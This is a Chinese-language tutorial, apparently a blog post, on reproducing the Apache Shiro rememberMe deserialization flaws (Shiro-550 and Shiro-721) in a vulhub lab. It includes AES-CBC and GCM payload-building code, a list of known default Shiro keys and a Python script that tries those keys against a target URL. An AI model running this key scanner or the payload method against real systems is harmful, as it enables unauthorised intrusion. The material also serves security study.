【WEB安全】Apache Shiro 反序列化漏洞(上)

简介: Apache Shiro是一款开源企业常见JAVA安全框架,提供身份验证、授权、密码学和会话管理。java中的权限框架有SpringSecurity和Shiro,由于Spring功能强大但复杂,Shiro的简单强大,扩展性好因此用的还是很多。

Apache Shiro 反序列化漏洞

一、简介

二、环境

三、漏洞原理

四、AES秘钥

1、判断AES秘钥

五、Shiro rememberMe反序列化漏洞(Shiro-550)

1、版本1.4.2之前

该版本漏洞利用

2、版本1.4.2之后

该版本漏洞利用

六、Shiro Padding Oracle Attack(Shiro-721)

1、漏洞利用

七、图形化工具


shiro漏洞已经曝光很久了,一直没有整理思路与详细步骤,最近在学习java的反序列化,复现该漏洞来方便之后的学习

一、简介

Apache Shiro是一款开源企业常常见JAVA安全框架,提供身份验证、授权、密码学和会话管理。java中的权限框架有SpringSecurity和Shiro,由于Spring功能强大但复杂,Shiro的简单强大,扩展性好因此用的还是很多。


二、环境

kali-2021 攻击机 192.168.8.9

docker vulhub 192.168.8.6

https://vulhub.org/

cd /vulhub/shiro/CVE-2016-4437
docker-compose up -d

三、漏洞原理

Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie,在服务端接收cookie值后,Base64解码–>AES解密–>反序列化。攻击者只要找到AES加密的密钥,就可以构造一个恶意对象,对其进行序列化–>AES加密–>Base64编码,然后将其作为cookie的rememberMe字段发送,Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。

1.首先正常登录,然后生成带有rememberme的返回cookie值。
2.生成cookie,shiro会提供rememberme功能,可以通过cookie记录登录用户,从而记录登录用户的身份认证信息,即下次无需登录即可访问。处理rememberme的cookie的类为org.apache.shiro.web.mgt.CookieRememberMeManager
3.之后进入serialize,对登录认证信息进行序列化
4.然后加密,调用aes算法。
5.加密结束,然后在在org/apache/shiro/web/mgt/CookieRememberMeManager.java的rememberSerializedIdentity方法中进行base64编码,并通过response返回
6.解析cookie
7.先解密在反序列化
8.AES是对称加密,加解密密钥都是相同的,并且shiro都是将密钥硬编码
9.调用crypt方法利用密文,key,iv进行解密,解密完成后进入反序列化,看上面的public AbstractRememberMeManager这里用的是默认反序列化类,然后触发生成反序列化。

Shiro 1.2.4版本默认固定密钥:

image.png

Shiro框架默认指纹特征

  • 未登陆的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段
  • 登陆失败的话,不管勾选RememberMe字段没有,返回包都会有rememberMe=deleteMe字段
  • 不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有rememberMe字段
  • 勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段,还会有rememberMe字段,之后的所有请求中Cookie都会有rememberMe字段

四、AES秘钥

在Shiro 1.2.4以及之前的版本中AES加密的秘钥都是默认的编码在代码里的(SHIRO-550),1.2.4以上移除了默认秘钥,需要开发者设置或者默认动态生成,降低了秘钥泄露的风险。


但是一些开源的项目内部集成了shiro的二次开发,可能会有低版本shiro的默认秘钥的风险,一些用户搭建环境时会使用网上的教程来快速搭建,直接复制了网上的秘钥,从而造成了秘钥的泄密,引发了反序列化漏洞。


可以在github上使用命令

"securityManager.setRememberMeManager(rememberMeManager);Base64.decode(“
"setCipherKey(Base64.decode(”

1、判断AES秘钥

密钥不正确或类型转换异常时,目标Response包含Set-Cookie:rememberMe=deleteMe字段,

而当密钥正确且没有类型转换异常时,返回包不存在Set-Cookie:rememberMe=deleteMe字段

shiro在1.4.2版本之前, AES的模式为CBC, IV是随机生成的,并且IV并没有真正使用起来,所以整个AES加解密过程的key就很重要了,正是因为AES使用Key泄漏导致反序列化的cookie可控,从而引发反序列化漏洞。在1.4.2版本后,shiro已经更换加密模式 AES-CBC为 AES-GCM,脚本编写时需要考虑加密模式变化的情况。


CBC算法的shiro生成payload的关键代码如下,也就是我们通用的生成shiro攻击代码


python中有实现aes-cbc的算法,通过指定mode为AES-CBC,遍历key,随机生成iv,配合ysoserial的gadget即可生成payload

BS   = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
mode =  AES.MODE_CBC
iv   =  uuid.uuid4().bytes
file_body = pad(file_body)
encryptor = AES.new(base64.b64decode(key), mode, iv)
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext

而在1.4.2以后由于padding oracle的影响,shiro官方把加密方式改为了GCM,所以我们需要更改脚本,添加GCM下的攻击方式去攻击高版本的shiro,通过跟踪代码动态调试可以看出确实是使用GCM加密


所以shiro的攻击脚本中的核心代码我们来修改一下,GCM加密不需要padding,但需要一个MAC值(也就是我代码里的tag),这块可以自己跟一下源码,核心代码如下:

iv = os.urandom(16)    
cipher = AES.new(base64.b64decode(key), AES.MODE_GCM, iv)              
ciphertext, tag = cipher.encrypt_and_digest(file_body)     
ciphertext = ciphertext + tag       
base64_ciphertext = base64.b64encode(iv + ciphertext)    
return base64_ciphertext

密钥集合我这里简单列举了几个,网上流传大量现成的 Shiro 100 Key集合,请自行查找替换。密钥判断脚本如下:

输入目标的url,通过判断返回包是否存在Set-Cookie:rememberMe=deleteMe来判断秘钥是否正确

import base64
import uuid
import sys
import requests
from Crypto.Cipher import AES
def encrypt_AES_GCM(msg, secretKey):
    aesCipher = AES.new(secretKey, AES.MODE_GCM)
    ciphertext, authTag = aesCipher.encrypt_and_digest(msg)
    return (ciphertext, aesCipher.nonce, authTag)
def encode_rememberme(target):
    keys = ['kPH+bIxk5D2deZiIxcaaaA==', '4AvVhmFLUs0KTA3Kprsdag==','66v1O8keKNV3TTcGPK1wzg==', 'SDKOLKn2J1j/2BHjeZwAoQ==']    # 此处简单列举几个密钥
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    file_body = base64.b64decode('rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA==')
    for key in keys:
        try:
            # CBC加密
            encryptor = AES.new(base64.b64decode(key), mode, iv)
            base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(file_body)))
            res = requests.get(target, cookies={'rememberMe': base64_ciphertext.decode()},timeout=3,verify=False, allow_redirects=False)
            if res.headers.get("Set-Cookie") == None:
                print("good KEY : " + key)
                return key
            else:
                if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie"):
                    print("good key:" + key)
                    return key
            # GCM加密
            encryptedMsg = encrypt_AES_GCM(file_body, base64.b64decode(key))
            base64_ciphertext = base64.b64encode(encryptedMsg[1] + encryptedMsg[0] + encryptedMsg[2])
            res = requests.get(target, cookies={'rememberMe': base64_ciphertext.decode()}, timeout=3, verify=False, allow_redirects=False)
            if res.headers.get("Set-Cookie") == None:
                print("good KEY:" + key)
                return key
            else:
                if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie"):
                    print("good key:" + key)
                    return key
            print("good key:" + key)
            return key
        except Exception as e:
            print(e)
if __name__ == '__main__':
    encode_rememberme(sys.argv[1])
相关文章
|
缓存 前端开发 Java
打造未来兼容的Web应用:Apache Wicket引领响应式设计的热潮
【9月更文挑战第4天】在软件开发领域,构建响应式Web应用至关重要。Apache Wicket作为一个强大的Java框架,支持响应式设计,确保应用在不同设备上均有出色体验。本文通过示例代码介绍使用Wicket的最佳实践,涵盖页面与组件模型、CSS媒体查询及自定义标记处理器的应用。同时,文章强调了优化加载时间、增强交互性和提升可访问性的重要性,帮助开发者打造高性能且美观的Web应用。
290 3
|
Java API Apache
从零到英雄的蜕变:如何用Apache Wicket打造你的第一个Web应用——不仅是教程,更是编程之旅的启航
【9月更文挑战第4天】学习Apache Wicket这一开源Java Web应用框架是一段激动人心的旅程。本文将指导你通过Maven搭建环境,并创建首个“Hello, World!”应用。从配置`pom.xml`到实现`HelloWorldApplication`类,再到`web.xml`的设置,一步步教你构建与部署简单网页。适合初学者快速上手,体验其简洁API与强大组件化设计的魅力。
562 1
|
消息中间件 监控 Kafka
Apache Kafka 成为处理实时数据流的关键组件。Kafka Manager 提供了一个简洁的 Web 界面
随着大数据技术的发展,Apache Kafka 成为处理实时数据流的关键组件。Kafka Manager 提供了一个简洁的 Web 界面,方便管理和监控 Kafka 集群。本文详细介绍了 Kafka Manager 的部署步骤和基本使用方法,包括配置文件的修改、启动命令、API 示例代码等,帮助你快速上手并有效管理 Kafka 集群。
328 0
|
Java Spring Apache
Spring Boot邂逅Apache Wicket:一次意想不到的完美邂逅,竟让Web开发变得如此简单?
【8月更文挑战第31天】Apache Wicket与Spring Boot的集成提供了近乎无缝的开发体验。Wicket以其简洁的API和强大的组件化设计著称,而Spring Boot则以开箱即用的便捷性赢得开发者青睐。本文将指导你如何在Spring Boot项目中引入Wicket,通过简单的步骤完成集成配置。首先,创建一个新的Spring Boot项目并在`pom.xml`中添加Wicket相关依赖。
566 0
|
Apache 开发者 Java
Apache Wicket揭秘:如何巧妙利用模型与表单机制,实现Web应用高效开发?
【8月更文挑战第31天】本文深入探讨了Apache Wicket的模型与表单处理机制。Wicket作为一个组件化的Java Web框架,提供了多种模型实现,如CompoundPropertyModel等,充当组件与数据间的桥梁。文章通过示例介绍了模型创建及使用方法,并详细讲解了表单组件、提交处理及验证机制,帮助开发者更好地理解如何利用Wicket构建高效、易维护的Web应用程序。
437 0
|
Java 前端开发 Apache
Apache Wicket与Spring MVC等Java Web框架大PK,究竟谁才是你的最佳拍档?点击揭秘!
【8月更文挑战第31天】在Java Web开发领域,众多框架各具特色。Apache Wicket以组件化开发和易用性脱颖而出,提高了代码的可维护性和可读性。相比之下,Spring MVC拥有强大的生态系统,但学习曲线较陡;JSF与Java EE紧密集成,但在性能和灵活性上略逊一筹;Struts2虽成熟,但在RESTful API支持上不足。选择框架时还需考虑社区支持和文档完善程度。希望本文能帮助开发者找到最适合自己的框架。
356 0
|
8月前
|
算法 Java Go
【GoGin】(1)上手Go Gin 基于Go语言开发的Web框架,本文介绍了各种路由的配置信息;包含各场景下请求参数的基本传入接收
gin 框架中采用的路优酷是基于httprouter做的是一个高性能的 HTTP 请求路由器,适用于 Go 语言。它的设计目标是提供高效的路由匹配和低内存占用,特别适合需要高性能和简单路由的应用场景。
625 4
|
缓存 JavaScript 前端开发
鸿蒙5开发宝藏案例分享---Web开发优化案例分享
本文深入解读鸿蒙官方文档中的 `ArkWeb` 性能优化技巧,从预启动进程到预渲染,涵盖预下载、预连接、预取POST等八大优化策略。通过代码示例详解如何提升Web页面加载速度,助你打造流畅的HarmonyOS应用体验。内容实用,按需选用,让H5页面快到飞起!
|
JavaScript 前端开发 API
鸿蒙5开发宝藏案例分享---Web加载时延优化解析
本文深入解析了鸿蒙开发中Web加载完成时延的优化技巧,结合官方案例与实际代码,助你提升性能。核心内容包括:使用DevEco Profiler和DevTools定位瓶颈、四大优化方向(资源合并、接口预取、图片懒加载、任务拆解)及高频手段总结。同时提供性能优化黄金准则,如首屏资源控制在300KB内、关键接口响应≤200ms等,帮助开发者实现丝般流畅体验。
|
前端开发 JavaScript Shell
鸿蒙5开发宝藏案例分享---Web页面内点击响应时延分析
本文为鸿蒙开发者整理了Web性能优化的实战案例解析,结合官方文档深度扩展。内容涵盖点击响应时延核心指标(≤100ms)、性能分析工具链(如DevTools时间线、ArkUI Trace抓取)以及高频优化场景,包括递归函数优化、网络请求阻塞解决方案和setTimeout滥用问题等。同时提供进阶技巧,如首帧加速、透明动画陷阱规避及Web组件初始化加速,并通过优化前后Trace对比展示成果。最后总结了快速定位问题的方法与开发建议,助力开发者提升Web应用性能。

热门文章

最新文章

推荐镜像

更多